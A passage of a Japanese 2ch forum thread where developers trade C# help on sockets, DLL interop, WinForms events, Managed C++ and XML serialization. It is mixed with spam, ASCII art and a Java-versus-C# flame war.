NGNG1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか
2:異常切断されたときイベントなどで通知することを考えているが、
通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか
ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m
0496デフォルトの名無しさん
NGNG1,
byte[] byteAry = 受信データ;
if ( byteAry.Length <= 0 )
{ パイプカット }
2,
ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか
でしゃばってスマソ
0497デフォルトの名無しさん
NGNG1.物理的に切断を瞬間的に不可能。
TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。
2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ
以上。
0498杏仁
NGNGいま、Cで作成されたDLLをDllImportで呼び出しています。
そのDLLの仕様を見ると関数は
void hoge(UINT *pWidth, UINT *pHeight);
とポインタで呼び出していました。
[DllImport("hogehoge.dll")]
public static extern void hoge(int w, int h);
としても当然うまくいきませんでした。
C#でこのような場合ようやってDllImportすればいいのでしょうか?
お手数ですが、お教えください。よろしくお願いします。
0499デフォルトの名無しさん
NGNGref System.UInt32 にする。
(まぁ小さげな値だろうから ref System.Int32 でもいいだろうけど)
0500デフォルトの名無しさん
NGNGSystem.Runtime.InteropServices.Marshal.AllocCoTaskMemでメモリを確保、
System.Runtime.InteropServices.Marshal.WriteInt32で確保したメモリに書き込み、
関数に渡す。
結果をSystem.Runtime.InteropServices.Marshal.ReadInt32で読み込んで
System.Runtime.InteropServices.Marshal.FreeCoTaskMemでメモリを破棄する。
uint*程度でやる事じゃありません。
0501デフォルトの名無しさん
NGNGこれがよくもあり悪くもあり。
0502杏仁
NGNG>>499
> ref System.UInt32 にする。
[DllImport("hogehoge.dll")]
public static extern void hoge(ref System.UInt32 w, ref System.UInt32 h);
ということでしょうか?この場合、どうやって呼び出せばいいのですか?
int w=0;
int h=0;
hoge(w,h);
としてもうまくいきません。
>>500
回答していただいたのにさっぱり・・・。
もう少し分かりやすくお願いできますでしょうか?
最近始めたばかりで、さっぱり右も左も分からない状態です。
よろしくお願いします。
0503デフォルトの名無しさん
NGNGヘルプでrefキーワードぐらい調べようよ〜。
呼び出す時もrefキーワードが必要。
hoge(ref w, ref h);
500はただのジョークだから。こんな手段もあるよってだけ。
//と最後の行で言ったつもりだったんだけど。
0504デフォルトの名無しさん
NGNG蛇足の補足。たぶんこの場合は関係ないだろうけど、ポインタ値が指す領域にある値だけではなく、
そのものに意味がある場合には、System.IntPtr 型にしておいて、ポインタの指す先のアクセスは
>>500 風にやるようなこともある、ってのが >>501 ね(たぶん)。
例えば hoge の正体が hoge(UINT* w, UINT* h) { delete [] w; delete [] h; } みたいな場合とか。
0505デフォルトの名無しさん
NGNG↑
「ポインタ値そのものに意味がある」の編集ミスですた。
0506デフォルトの名無しさん
NGNGprivate void pictureBox1_MouseWheel(object sender, MouseEventArgs e)
{
Console.WriteLine(e.Delta);
}
と記述してるのですが、マウスホイールくるくるしてもpictureBox1_MouseWheelイベントが発生してくれません。
そもそもなんで、MouseWheelだけは手動で書かないといけないのかと(ry
0507デフォルトの名無しさん
NGNGConsole.WriteLine();を、MessageBox.Show("","");
にしても駄目?
0508506
NGNGブレークポイントしかけても反応してくれません。
Panelの上に張ってるのでPanelにもイベントハンドらを記述したのですが
どっちもイベントが発生しないみたいです。
0509デフォルトの名無しさん
NGNG>Control.MouseWheel イベント
> コントロールにフォーカスがあるときにマウス ホイールが動くと発生します。
PictureBoxやPanelはユーザの通常操作ではフォーカスを得る事はない。
0510508
NGNGMouse_EnterしたらFocus()するようにするとうまくいきました。
お騒がせしました。
0511デフォルトの名無しさん
NGNG文法などを一通り理解したら次は何をすべきなんでしょうか?
guiアプリケーションを作れる人は文法などを理解したら次は何をしたんですか?
0512デフォルトの名無しさん
NGNGGUIパーツをいろいろ試したり細かいプロパティ・メソッドを調べたり
非GUIなクラスの使い方を覚えたりどんなクラスが存在するのかを調べたり。
0513デフォルトの名無しさん
NGNG作りたいものを作れ。手を動かせ。
「習うより慣れろ」ということわざがあるが、
プログラミングの場合「習ったら慣れろ」ってところか。
0514デフォルトの名無しさん
NGNGタブ型メモ帳を作ろうとしてお世話になったのが自分なのですが。
MSDNライブラリをみながら作るだけではちょっとムリがあるかなと思いました。
0515495
NGNG亀ですが�dくすです。
む〜。実際にデータ送らないと切断検出できないですか〜。
送信、受信が別スレッドに分かれているんで、リターンを待つ同期に一苦労^-^;
0516デフォルトの名無しさん
NGNG送信と受信を一つのスレッドでやるとエライ事になるよw
あとTcpClientは結構ゴミだからクライアントアプリでもSoket使った方がいいかも。
0518デフォルトの名無しさん
NGNGNetworkStreamでしか送受信出来ない、細かい制御(受信側のみ切断とか)も出来ない
ついでに非同期送受信も出来ない・・・
TcpClientで作っても後々書き直すことになると思うw
0520495
NGNGこのクラスの中身だけ変えればおkだわ
0521デフォルトの名無しさん
NGNGこんな感じで送受信してます、たまにデータが続けざまに来るとエラーでるんですが、どうしたらよいでしょう・・・。
0522デフォルトの名無しさん
NGNGBeginReceiveしてEndReceiveした後は、また非同期受信するなら再度BeginReciveしないと駄目なような・・・
それにこの用途ならNetworkStream使った方が楽かも・・・(俺ならそうするw)
あと、一度の受信でバッファ全部捨ててるけど、
非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて
プールしてその上でさらにバッファを貯めるみたいにすべき。
あと(ぉ終了処理はShutdownの後でCloseしよーw
0523521
NGNGNetworkStream調べてみます〜
>あと、一度の受信でバッファ全部捨ててるけど、
>非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて
>プールしてその上でさらにバッファを貯めるみたいにすべき。
int recBytesSize = socket.EndReceive( ar );
↑で受信データサイズ抜いた時点で必要とするbyte配列は確定してない・・・ということですか?
0524495
NGNGおまいは俺か?
0525杏仁
NGNGありがとうございました。おかげで動作しました。
もう一つ質問なのですが、DLLの仕様を見ると
BYTE *HOGE()
という関数があります。
この場合は、どうやって呼び出せばいいでしょうか?
よろしくお願いします。
0527デフォルトの名無しさん
NGNGやりっぱなしじゃ駄目?
0528527
NGNG0529デフォルトの名無しさん
NGNG0530デフォルトの名無しさん
NGNG0531デフォルトの名無しさん
NGNG0532デフォルトの名無しさん
NGNGそれとも今世界のどこかから自分のMAC抜かれたいのだろうか
0533デフォルトの名無しさん
NGNG0534デフォルトの名無しさん
NGNG0535デフォルトの名無しさん
NGNGpingパケットにその情報があるか見てみれば?
0536デフォルトの名無しさん
NGNGメンバ関数のオーバーライドがうまくいきません。
C#のクラス↓
public abstract class ClassCS
{
public abstract void Func(ref int c);
}
void FuncC(int __gc& C) や void FuncC(int &C) ではだめでした。
この関数FuncをオーバーライドするにはC++でどのように記述すればいいんでしょうか?
0537デフォルトの名無しさん
NGNGそれはもう関数次第としか言えない。
>500みたいなことをする可能性が高いが。
>>536
ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。
0538デフォルトの名無しさん
NGNGそれだと、同一ネットワーク内ならOKだけど、L3装置かましたときに中継点のMACになるような
0539杏仁
NGNG>それはもう関数次第としか言えない。
画像バッフアのアドレスが格納されて帰ってくる関数みたいなのですが・・。
> >500みたいなことをする可能性が高いが。
・・・・。大変そうですね。私にできるかどうか・・・。
サンプルとか参考になるサイト等ありますでしょうか?
0540デフォルトの名無しさん
NGNG関数次第なんだからサンプルも何もないと思うけど?
0541デフォルトの名無しさん
NGNGunsafe で IntPtr を byte* にでもキャストして、画像バッファのメモリをアクセスすれば良いと思う。
メモリの中身にアクセスする必要がないなら、IntPtr で受け取っておいて、他に渡す必要があるなら
また IntPtr で渡してあげるだけ。
Susie のプラグインを C# から使いたいとか、そういうことですか?
0542杏仁
NGNG解答ありがとうございます。
ん〜。勉強不足で折角の解答の意味があまり理解できずに申し訳ありません。
とりあえず、IntPtrをもう少し勉強してみます。
>Susie のプラグインを C# から使いたいとか、そういうことですか?
画像入力ボードのDLLを使って画像の取り込みを行いたいと思っています。
0543デフォルトの名無しさん
NGNG現在、既存システム(C+VB6)をC#で移植しています。
既存システムはVB6でユーザインターフェースを作り、
CでDLLを作って、VB6からDLLを呼び出しています。
VB6のインターフェース部分は特に問題無くC#に移植できたのですが、
Cで作ったDLLの関数が結構多く、またC#から呼び出すのも厄介な状況です。
MSの技術情報でWin32APIと.NETFrameworkの対応表で幾つかはそのままC#で実装しましたが、
残りのDLL関数をManagedC++でDLLを再度作り直し、そのDLLをC#から直接使う事になりました。
そこで質問なのですが、ManagedC++でSTLのmapを使いたいのですが、
コンパイル時にエラーとなってしまいます。
ManagedC++ではSTLなどテンプレートを使う事はできないのでしょうか?
また、ManagedC++で作った関数で、.NETのHashtableなどを返す関数は作れないのでしょうか?
0544デフォルトの名無しさん
NGNGmanaged C++ やろうぜ!!
http://pc5.2ch.net/test/read.cgi/tech/1014486422/
//沈んでるなぁ……。
0545536
NGNG>ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。
返答ありがとうございます。
試してみましたが、うまくいかないようです。
自分でもいろいろ試してみて、Manage C++側はFunc(int __gc &c)になるはずだと思ったんですが、
下のプログラムを実行すると『抽象クラスまたはインターフェイス 'CPP.CPP' のインスタンスを作成できません。』といったエラーが出ます。
CPPのFuncをオーバーライドできてないってことだと思うんですが、どうすればちゃんとオーバーライドできるんでしょうか?
Manage C++↓
namespace CS
{
public abstract class CS
{
public abstract void Func(ref System.Int32 c);
}
}
C#↓
namespace CPP
{
public __gc class CPP : public CS::CS
{
public:
void Func(int __gc &c){}
};
}
static void Main(string[] args)
{
CS.CS S = new CPP.CPP();
}
0546デフォルトの名無しさん
NGNG大阪(西梅田)、新宿(JR駅前)のそれぞれ一等地に
拠点を構え、業績急上昇中!未経験者大募集中!の
ソフトウェア開発会社
グリーンシステムを応援するHPです。
http://www.geocities.jp/grs_hp/
このスレの読者の人のような、レベルの高い人にぴったりかと
思います。
最高の会社にするため、みんな頑張ってます!
0547デフォルトの名無しさん
NGNG思います。
最高の会社にするため、みんな頑張って2chに投稿してます!
0548デフォルトの名無しさん
NGNG俺はチョコレート嫌いでチーズケーキ好きだから無理ぽ(´・ω・`)
0549デフォルトの名無しさん
NGNGその原因というのは、ソリューション中にControlのプロジェクトと
利用するアプリの複数のプロジェクトを作って
アプリのプロジェクトからControlのプロジェクトを参照して、
Controlのプロジェクトのコントロールをツールボックスにいれると頻繁に落ちます。
VisualStudio からしてみれは参照しているコントロールを突如更新されては堪らないというのは分るのですが
TestツールのNUnitでも外部から書き換えを検出して見事にやっているので、
更新している本人の VisualStudio にできないはずが無いだろうと思うのですが、できていないようです。
結局コントロールのDLLは別のソリューションで作って解決したのですが、まとめてビルドできなくて結構不便です。
誰かこうしたら便利だ!!
って方法がある人がいたら教えてくださいです。
0550デフォルトの名無しさん
NGNG同じような事したことあるけど、VSがポコポコ落ちるような事なかったけどなぁ・・・
他の開発環境のせい?
それともマシンの性能?
やっぱり、日頃の行い?
0551デフォルトの名無しさん
NGNGほんと?
相当やりこんでほぼこれだと特定した物なんだけど……
0552デフォルトの名無しさん
NGNG0553デフォルトの名無しさん
NGNGその問題おこらないソリューション一式をアップローダに上げてもらえませんか?
もしこれが原因でないとすれば、かなり悩みます。
0554デフォルトの名無しさん
NGNGそんなソリューション一式、アップできると思うのか?
会社でやってる仕事のものなら、特に上げられない。
新手の産業スパイかなにかですか?
買うと言うなら送りますよ。
勿論、ソースから何から。
ドキュメントは要らないだろうから、値引きするけど、それでも数百万は貰うよ?
0555デフォルトの名無しさん
NGNGもちろん全部上げろという意味じゃないですよっ、そんなの当たり前です
そんなものアップできるほど小さくも無いでしょうし、見る側のこっちもたまりません。
最低限でって話ですよ。
てゆうかアンタただの煽りでしょ。
0556デフォルトの名無しさん
NGNG0557デフォルトの名無しさん
NGNGきちがい?
0558デフォルトの名無しさん
NGNG0559デフォルトの名無しさん
NGNG0560デフォルトの名無しさん
NGNG最低限に切り分けてアップローダにアップしろと。
0561デフォルトの名無しさん
NGNG0562デフォルトの名無しさん
NGNG0563デフォルトの名無しさん
NGNG0564デフォルトの名無しさん
NGNG\/ ● 、_ `ヽ ======
/ \( ● ● |つ
| X_入__ノ ミ そんなエサで俺様がクマー!!
、 (_/ ノ /⌒l
/\___ノ゙_/ / =====
〈 __ノ ====
\ \_ \
\___) \ ====== (´⌒
\ ___ \__ (´⌒;;(´⌒;;
\___)___)(´;;⌒ (´⌒;; ズザザザ
(´⌒; (´>>
0565デフォルトの名無しさん
NGNG依頼者の”動作しない”最低限のものをアップするのが筋じゃないか?
でもって、それを他の奴等が正常に動作するなら、PC環境が原因かもしれない。
他の奴も異常な動作をするなら、ソリューリョンが原因かもしれない。
とりあえずは動作しない最小限のソリューションをアップして、
そのソリューションのどの部分をどう変更したらVSが落ちるのかを明記しろ。
話はそれからだ。
0566デフォルトの名無しさん
NGNG内部で完結してしまっている(というかpanel一枚おいただけ)ので DesignMode は関係ないのではと・・・思うのですが・・・
いろいろやってみた所、コントロールのDLLをプロジェクトコンパイルした後、
一度VSを起動しなおしてから、目的のプロジェクトをコンパイルすれば
同一リソリューション中にプロジェクトを入れても問題は発生しないようです。
0567デフォルトの名無しさん
NGNG間違いです×>>565
○>>563
0568デフォルトの名無しさん
NGNGあんたが正しい。>>549は厚かましいにもほどがあると思う。
0569デフォルトの名無しさん
NGNG今ためしてみました。
1. 新規のソリューションに UserControl プロジェクトを追加。パネル1枚とLabelを配置。
2. Windows アプリケーションプロジェクトを追加。デザイナで上記のUserControlをFormに配置。
(参照は自動的に追加される)
3. (ビルドしたりする)
4. UserControl の Label の文字列を変更⇒「デザイナに反映するにはリビルドが必要です」とか言われる
5. おとなしくリビルド。Form 側のデザイナに文字列の変更が反映される。
という感じで特に問題は起きません。
同一ソリューション内のユーザーコントロールは、ツールボックスの「マイ ユーザー コントロール」に
自動的に追加されるわけだし、「同一リソリューション中にプロジェクトを入れても問題は発生しない」のが
普通なんだと思います。
0570デフォルトの名無しさん
NGNGPoint p;
p = new (a,b);
ってするのと
p.X = a;
p.Y = b;
ってするのとどっちが早いんですか?
生成されるコードは同じですか?
0571デフォルトの名無しさん
NGNGわざわざどうも有難うございます、そうするともっと別のところに原因がありそうですね。
さらに調べてみます。
ちなみに僕のところでは「デザイナに反映するにはリビルドが必要です」が出ないんですよね。
何故だろう?
実は、xmlドキュメントも反映されないのですが、これはそちらでは反映されるものでしょうか?
これも
1.dll側のプロジェクトをビルドする
2.VSを一旦落とす
3.再起動してアプリ側プロジェクトを操作する
という形でないと、僕の所では自働補完が機能しません。
これもちょっと気になるのですが、もしお邪魔でなければ試してもらえませんでしょうか?
0572570
NGNGPoint p = new Point(c,d);
に最初の二行を訂正します。
0573デフォルトの名無しさん
NGNG自分で試せるし調べられるだろ?
0574デフォルトの名無しさん
NGNGEXE側コード編集時にはインテリセンスは効くものの、XMLドキュメントで書いた情報は出てきません。
オブジェクトブラウザで見るとちゃんと見えるんだけど。
調べてみると、参照を追加した時点で XMLドキュメントが無いと出てこないみたいです。
参照を一旦削除して、再度追加してあげればOKでした(アセンブリ直指定ではなく、プロジェクト出力を追加しました)。
しかしこの状態では、DLLを更新した際にXMLドキュメントファイルのローカルコピーがVSによって使用中のため更新できずに、EXE側はビルドエラーになります(DLL自体は更新できるのに・・・)。
DLLへの参照について一旦ローカルコピーをFalseにしてビルド、再びONにしてビルドとか、
一旦終了してDLL側から順にビルドという手順が必要でした。
以下はXMLドキュメントを更新しようとした際のエラー
>ファイル 'WindowsControlLibrary1.xml' を実行ディレクトリにコピーできません。 プロセスはファイルに
>アクセスできません。別のプロセスが使用中です。
一時ファイルを出力ディレクトリにコピーできませんでした。
こういう構成の時には、DLL開発中はXMLドキュメントを生成しない方が良さそう・・・
0575570
NGNGPoint[] q = newPoint[9999999];
Point[] r = newPoint[9999999];
Point[] s = newPoint[9999999];
って一杯point作ってためしたら X,Yそれぞれに代入するほうが早かったです。
0576デフォルトの名無しさん
NGNG度々で(´・ω・`)ですがおながいします
public void func (Object obj)
{
MemoryStream ms = new MemoryStream();
XmlSerializer serializer = new XmlSerializer(obj.GetType());
serializer.Serialize(ms,obj);
・・・・
}
引数でボクシングされたオブジェクトをシリアライズしようとしたとき、
メンバがシリアライズされません(つД`)
><?xml version="1.0" encoding="utf-8"?>
><class2 xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" />
こんな感じになります。ちなみにClass2にはためしにstring型1個つっこんでます
XmlSerializeを使ってボクシングしたオブジェクトのメンバをまるごとシリアライズする手段ってありますか?
0577デフォルトの名無しさん
NGNG>ちなみにClass2にはためしにstring型1個つっこんでます
それちゃんと public になってますか?
0578デフォルトの名無しさん
NGNGできました
ありがとうございました吊ってきます
・・・・オレのバカバカバカ・・・・
0579デフォルトの名無しさん
NGNG上のページの、「実行時間の高精度な計測」というのを使ってみたくていろいろやってたのですが、
どうしてもusingと;のところで「無効なトークン・・・」というビルドエラーが出でしまいます。
どうしたらよいでしょうか。
VSのC#使ってます
0580デフォルトの名無しさん
NGNGusingはコードの先頭、他にも色々usingされてるところに書く。
0581デフォルトの名無しさん
NGNGそのページのコード、間違ってるような気がする。using ステートメントのカッコの中は、
1. 式
2. 型名 変数名 = 式 [, 変数名 = 式 ] ...
のどちらかという形式で、そのページにあるように変数宣言やら式やらを混ぜてカンマで並べたりはできない。
>>578 のいう using はたぶんまた別の using なので無視。
0582581
NGNG嘘
0583579
NGNGごめんなさい、自分の貧弱な脳みそでは理解できないのですが、
こういうことですか?
using System.Runtime.InteropServices ; // for DllImport
・・・
private void button1_Click(object sender, System.EventArgs e)
{
・・・
}
0584デフォルトの名無しさん
NGNGうろ覚えだから難だがコピペして実行しようとしたときオレも
using System.Runtime.InteropServices ;でコケた
んで、なぜかintelliSenseで同じ内容指定したら動いた
0585デフォルトの名無しさん
NGNGって言うコンパイルエラーがなぜか出て
ファイル内のテキストを丸ごと切り取って貼り付けたら
正常にコンパイルできたことがあったなあ
0586579
NGNGusing.System.Runtime〜を一番上の
using〜というのがたくさんある所
に置いたら実行出来ました。
ありがとうございました。
0587デフォルトの名無しさん
NGNG思って、やっぱC#の方がいいかなとおもって、迷ってんだけど。
絶対C#がいいってとこある?
0588デフォルトの名無しさん
NGNG0589デフォルトの名無しさん
NGNG私はVBの文法が大ッ嫌いなのでC#。
0590デフォルトの名無しさん
NGNG別にーってお前なー。なんか言うことないんか?
>589
マイコンはCで、PCはVB6で EXCELとAutocadとVisioと、、、、はVBAなの。
JAVAって20年?も前の言語だろ。
今頃になって真似してマトモニなっても、VBで脳みそ破壊されてるからなー。
0591デフォルトの名無しさん
NGNG0592デフォルトの名無しさん
NGNG0593デフォルトの名無しさん
NGNGデフォルトでnoneになって、メッセージ発生しないんだが・・・。
0594デフォルトの名無しさん
NGNGなぜかEditorBrowsableAttributeもBrowsableAttributeも不可視の設定になってるから
インテリセンスにもプロパティグリッドにも表示されないけど、
AllowDrop{get; set;}はあるしtrueにしてやれば普通にD&Dも可能。
//やっぱり中途半端……。
0595デフォルトの名無しさん
NGNGつ[インシデント]
0596デフォルトの名無しさん
NGNGOCNがアク禁になっていたので遅レスです、どもわざわざ有難うごさいます。
XMLに関しては同じです、コントロールのところだけの問題か……むむむ
取りあえず助かります。
0597デフォルトの名無しさん
NGNGどうやったら、PictureBOXのhDCを取得できますでしょうか?
C#でCreateDIBSectionを使ったサンプル等ありましたら、
お教えください。よろしくお願いします。
0598デフォルトの名無しさん
NGNG/ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
─( ゚ ∀ ゚ )< くっちゃらはぴはぴ!
\_/ \_________
/ │ \
∩ ∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\∩ ∧ ∧ \( ゚∀゚)< くっちゃらはぴはぴ!
Py厨〜〜〜〜! >( ゚∀゚ )/ | / \__________
________/ | 〈 | |
/ /\_」 / /\」  ̄ / /
0599デフォルトの名無しさん
NGNGReleaseHdc()とGraphics.Dispose()もセットで。
ttp://www.codeproject.com/bitmap/dibsection.asp?select=287473&df=100&forumid=56&exp=0
DIBSectionのラッパクラスだそうだ。
0600デフォルトの名無しさん
NGNGで、以下のような仕組みにしている。
作成中のプロジェクトをWindowsアプリからクラスライブラリに変更
-> MyAppCore.dll
作成中のプロジェクトを走らせるだけのWindowsアプリ・プロジェクトを作成
-> MyAppRunner.exe(MyAppCore.dllを参照に追加)
内部的なコードはMyAppCore.dllの起動関数を呼び出すだけ。
テストプロジェクト
-> Test.dll(MyAppCore.dllを参照に追加)
まぁなんというか、もっとスマートなやり方はないのかなと思った次第。
0601デフォルトの名無しさん
NGNG少なくともVer2.2ならできるよ
0602600
NGNG自分はテストコードをアプリ本体に入れたくないんですよね。
テストとアプリのプロジェクトを分けるとテスト側からアプリのコードを呼ぶために
アプリ側をDLLにしなくちゃいけない・・・
って、今、思いついたんだけど、テストコードを全部#if DEBUGで
くくっとけばいいのか!
なわけで、解決っぽい。
0603デフォルトの名無しさん
NGNG元のフォームも一緒に移動したいのですが
可能でしょうか?
可能な場合どのようにすればいいのでしょうか
0604デフォルトの名無しさん
NGNGお兄さんそりゃFormでダイアログもどき作った方が楽でっせ
0605603
NGNGメインフォームがあって編集用のフォームを
メインフォームの上にモーダルで表示したとして、
編集用のフォームを移動した時に、
メインフォームも一緒に動かしたいなと思ったのです。
0606デフォルトの名無しさん
NGNGダイアログフォーム呼出時に、ダイアログフォームのOwnerプロパティに親フォーム自身を設定する。
ダイアログフォームの方で、
位置保存用のメンバ変数を作っておく。
Moveイベントで、Ownerプロパティから親フォームの位置を設定し、その後位置保存用変数を更新する。
基本はこんな感じ。
初めの位置保存はLoadかVisibleChangedでやるのが妥当かな。
Moveイベントへのイベントハンドラ追加もLoadでやるか、Moveイベント内でCreatedをチェックするかとか。
//MoveがMoveEventArgsとか言って移動前の位置のプロパティを持っててくれれば楽なのになー。
0607在日外国人参政権反対
NGNG0608デフォルトの名無しさん
NGNG0609603
NGNGとりあえず以下のようにやってみましたが上手くいきませんでした。
MainFormとEditFormがあったとして
MainFormでButton1をクリックしたときに
EditForm editDialog = new EditForm();
editDialog.ShowDialog(this);
としてEditFormで
public static int x,y; //Location用変数(publicはとりあえずで付けました)
private void EditForm_Move(object sender, System.EventArgs e)
{
x = this.Location.X;
y = this.Location.Y;
ここにMainForm.Location = new Point(x,y);
見たいな事が出来れば良いんですよね?
色々弄ってみたのですが分かりませんでした (--
}
>>Moveイベントへのイベントハンドラ追加もLoadでやるか、Moveイベント内でCreatedをチェックするかとか。
すいません。この意味が分かりませんでした。
0610デフォルトの名無しさん
NGNGpublic class Form1 : System.Windows.Forms.Form
{
//中略
private void button1_Click(object sender, System.EventArgs e)
{
Form f;
f = new Form();
//f = new EditForm();
f.Move += new EventHandler(childForm_Move);
f.ShowDialog(this);
}
private void childForm_Move(object sender, EventArgs e)
{
Form f = (Form)sender;
int x = f.Location.X - 100;
int y = f.Location.Y - 100;
this.Location = new Point(x, y);
}
}
0611603
NGNG見事に動きました!
それにしてもインテリセンスで「TABキーを押してください」って
こんな指示始めてみましたよ。(^^;;
ありがとうございました。
MainFormがくっついて動いているのが嬉しくて意味もなく動かしニヤってしてみたり。。
0612初心者
NGNG0613デフォルトの名無しさん
NGNGスレ違い。
http://www.kumei.ne.jp/c_lang/sdk2/sdk_101.htm
でも読んでください。
0614デフォルトの名無しさん
NGNG> あるいはコンピュータ等のファイルに保存することを禁じます。
ブラウザのキャッシュ消すのまんどくせ
0615初心者
NGNG0616デフォルトの名無しさん
NGNGprivate void Form3_Paint(object sender, System.Windows.Forms.PaintEventArgs e)
に記述したのですが、
リサイズ時に再描画されるときとされないときがあるみたいです。
されないときは一度最小化してから元に戻すと再描画されるのですが
リサイズ時に確実に再描画されるほうほうってないでしょうか?
0617デフォルトの名無しさん
NGNG0618616
NGNGありがとうございました。 ぶじ動くようになりました。
0619デフォルトの名無しさん
NGNG0620デフォルトの名無しさん
NGNGもしあったら教えてください。
0621デフォルトの名無しさん
NGNGpartialキーワードがC# 2.0から追加される。
0622デフォルトの名無しさん
NGNGあれば教えてください。
0623デフォルトの名無しさん
NGNGネストループからの脱出以外に使うべきではないが。
0624デフォルトの名無しさん
NGNG0625デフォルトの名無しさん
NGNG0626622
NGNGありがとうございます
もっかい勉強しなおします…
0627デフォルトの名無しさん
NGNGC#のgotoはswitch 文の case とかを飛び先としても指定できるように拡張されているので、
いろいろみてみると面白いよ。
どうせなら、gcc拡張的なgotoの拡張もついでにやってくれるといいんだけど・・・
0628デフォルトの名無しさん
NGNG広くに使われるようになるまでに後5年はかかると見た。
0629デフォルトの名無しさん
NGNG後2年で半分は消滅する
WindowsFormクラスは消滅けってい
GDI+もいらなくなる
すべてロングホーンが悪い
0630デフォルトの名無しさん
NGNG使いたいと思わないな。
Windows 2000 が最高。
0631デフォルトの名無しさん
NGNGC# と Java の違い教えろ。
// Java >>>>> C# なのは自明なんだがな。。。
0632デフォルトの名無しさん
NGNG少しも自明じゃない。
0633デフォルトの名無しさん
NGNG0634デフォルトの名無しさん
NGNGライブラリの充実性からいって自明だろ。
それにJava のソースは公開されてるしな。
格が違いすぎるんだよ。
0635デフォルトの名無しさん
NGNG0636デフォルトの名無しさん
NGNGそうかな。Java のほうが充実していると一概に言えるか?
ソース公開は確かによいが。
0637デフォルトの名無しさん
NGNGお
い
は
や
く
し
ろ
よ
C
#
厨
0638デフォルトの名無しさん
NGNG0639デフォルトの名無しさん
NGNGソースがほしけりゃmonoのソースでもみてください
Javaはソースコード見た時点で
いろんなプロジェクトに参加できなくなるという恐ろしいライセンスつきですが?
0640デフォルトの名無しさん
NGNG> そうかな。Java のほうが充実していると一概に言えるか?
言える。
0641デフォルトの名無しさん
NGNG> Javaはソースコード見た時点で
> いろんなプロジェクトに参加できなくなるという恐ろしいライセンスつきですが?
見たって言わなきゃいーんだよ。そんぐれー考えろ
0642デフォルトの名無しさん
NGNGあとはマ板でやってちょ
●なぜJava厨はそんなに劣っているのか? 8
http://pc5.2ch.net/test/read.cgi/prog/1101209533/
0643デフォルトの名無しさん
NGNGC# のほうが充実している部分もあるのだが。
0644デフォルトの名無しさん
NGNGや
く
何
か
反
論
し
な
さ
い
、
C
#
厨
君
w
w
w
0645デフォルトの名無しさん
NGNG0646デフォルトの名無しさん
NGNG0647デフォルトの名無しさん
NGNG0648デフォルトの名無しさん
NGNGライブラリの充実度はjakartaやその他もろもろのオプソ集団を要するJavaのが上。
業務では、GUI作らないならJavaを用いるのが普通。
0649デフォルトの名無しさん
NGNG0650デフォルトの名無しさん
NGNG0651デフォルトの名無しさん
NGNG0652デフォルトの名無しさん
NGNGここは言語の優劣を語るスレではないぞと。
0653デフォルトの名無しさん
NGNGhttp://pc5.2ch.net/test/read.cgi/tech/1090324689/
かと思ったじゃねぇか
0654デフォルトの名無しさん
NGNG完成したのですが、巨大なファイルの表示に時間が
掛かります。
秀丸エディタさんとまではいかないでも、少しは
早く表示できるようにするには、どうすればよいのでしょうか。
textBoxを1から自分で作成し直すにしても、その考え方の
ヒントだけでも教えてください。
0655デフォルトの名無しさん
NGNG0656デフォルトの名無しさん
NGNGと思ったら負けですか?
0658デフォルトの名無しさん
NGNGReadLineで処理してるんじゃない?
だったら、ReadToEndで読んでみては?
FileStream fs = new FileStream("ファイルのパス",FileMode.Open);
StreamReader sr = new StreamReader(fs);
textBox1.Text = sr.ReadToEnd();
ところでVC#.Net2005っていつ発売なの?
はやく.Net Freamwork2.0を使ってみたい・・・
0659デフォルトの名無しさん
NGNG早くて来夏だろうねぇ。
環境があるなら、β1を試してみたら?
十分に正式版に向けて準備ができると思うけど。
それに、今ならAvalonのPreviewも出てて、楽しいと思うし。
0660デフォルトの名無しさん
NGNG0661デフォルトの名無しさん
NGNGthis.Hide();
this.ShowInTaskbar = true;
と言う状態にしたいのですが何か方法があるのでしょうか?
0662デフォルトの名無しさん
NGNGそれで良いんじゃないのか?
0663661
NGNGいや、やってみたら分かるけど
this.Hide();
とすると
this.ShowInTaskbarを弄っても反映されないみたい
Locationをどっか遠くに設定するしかないのかな?
0664デフォルトの名無しさん
NGNGじゃいかんの?
0666デフォルトの名無しさん
NGNGマクロとテンプレート使ってトリッキーなことしてたのでそれをC#で実現する方法がわからなくて困ってます。
0667デフォルトの名無しさん
NGNG0668デフォルトの名無しさん
NGNG0669デフォルトの名無しさん
NGNG0670デフォルトの名無しさん
NGNG0671デフォルトの名無しさん
NGNGへたに型とかみなくていいから、単にテンプレート変数を
自分の書いた文字で置き換わってコンパイルされるだけでいい。
そっちのがいろいろ使い道ある。
0672デフォルトの名無しさん
NGNG単純置換は止めてくれ。C++ の如くアセンブリが肥大化する。
0673デフォルトの名無しさん
NGNGむしろC++見たいなので、単純置換でないものがいいな、
もし型の置き換えだけであれば、テンプレートよりもメタクラスの実装の方が何倍も綺麗でいいと思うし。
てか、なんでメタクラスは実装されないんだろう……シクシクシク
0674デフォルトの名無しさん
NGNGメタクラスはクラスのクラスだっけか
smalltalk やった事無いから分からん
0675デフォルトの名無しさん
NGNGとどのつまり型を入れることのできる変数。
Metaclass a = int ;
a b ;
は
int b ;
たとえばこんな感じ
void Func( Metaclass T , int hoge , ... )
{
}
template 全くいらない
0676デフォルトの名無しさん
NGNG0677デフォルトの名無しさん
NGNGType
0678デフォルトの名無しさん
NGNGそれは何かが違う C++ でいえば typedef と type_info 型ぐらい違うな
0679デフォルトの名無しさん
NGNG0680デフォルトの名無しさん
